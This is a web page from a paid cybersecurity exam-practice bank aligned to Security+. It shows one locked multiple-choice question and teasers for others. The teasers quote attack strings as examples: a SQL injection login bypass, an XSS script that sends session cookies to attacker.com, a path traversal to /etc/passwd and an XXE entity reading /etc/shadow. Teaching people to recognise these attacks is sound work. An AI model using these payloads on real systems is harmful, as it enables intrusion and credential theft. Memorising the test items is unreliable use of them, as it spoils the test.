An attacker is using stolen credentials to reach internal systems from outside the firewall. Which control most directly limits the damage of that single compromised account?
Answers
AIncreasing the firewall session timeout value
BRotating the internal DNS servers
CEnforcing multi factor authentication for remote and administrative access
DExpanding the monitoring poll interval
The answer and explanation are in the full bank.
This question is one of 2,831 in the paid banks. Each comes with the correct answer and the reasoning behind it, not just a mark.
Unlock for 5,000 RWFMIFOTRA exam practicealigned to NIDA Network Administrator (CompTIA Security+ SY0-701 aligned)·4 marks·Hard
More Cybersecurity questions
- A developer discovers that entering `' OR 1=1 --` into a web portal's login field bypasses authentication entirely. This is an example of...
- A user posts a comment on a blog containing `<script>document.location='http://attacker.com/?cookie='+document.cookie</script>`. When other users view the comment, their session IDs are stolen. This is...
- An attacker tricks an authenticated user into clicking a link that secretly submits a password change request to a banking site where the user is currently logged in. The site accepts it. This attack is...
- A legacy C application crashes when a user inputs a string of 150 A's into a field designed for a 20-character last name. The attacker can use this to execute arbitrary shellcode. This describes a...
- An attacker modifies a URL parameter from `download.php?file=report.pdf` to `download.php?file=../../../../etc/passwd` and successfully retrieves a sensitive system file. This is an example of...
- A customer logs into an e-commerce site and notices their user profile URL is `profile.php?id=1045`. They change the 1045 to 1046 and view another customer's private billing details. This vulnerability is...
- An application parsing uploaded XML invoices fails to disable external entity processing. An attacker uploads a crafted XML file containing `<!ENTITY xxe SYSTEM "file:///etc/shadow">` to steal passwords. This is...
- A web application uses a vulnerable third-party library to process images. An attacker submits an image containing malicious code that executes on the server. The failure to validate the library represents a...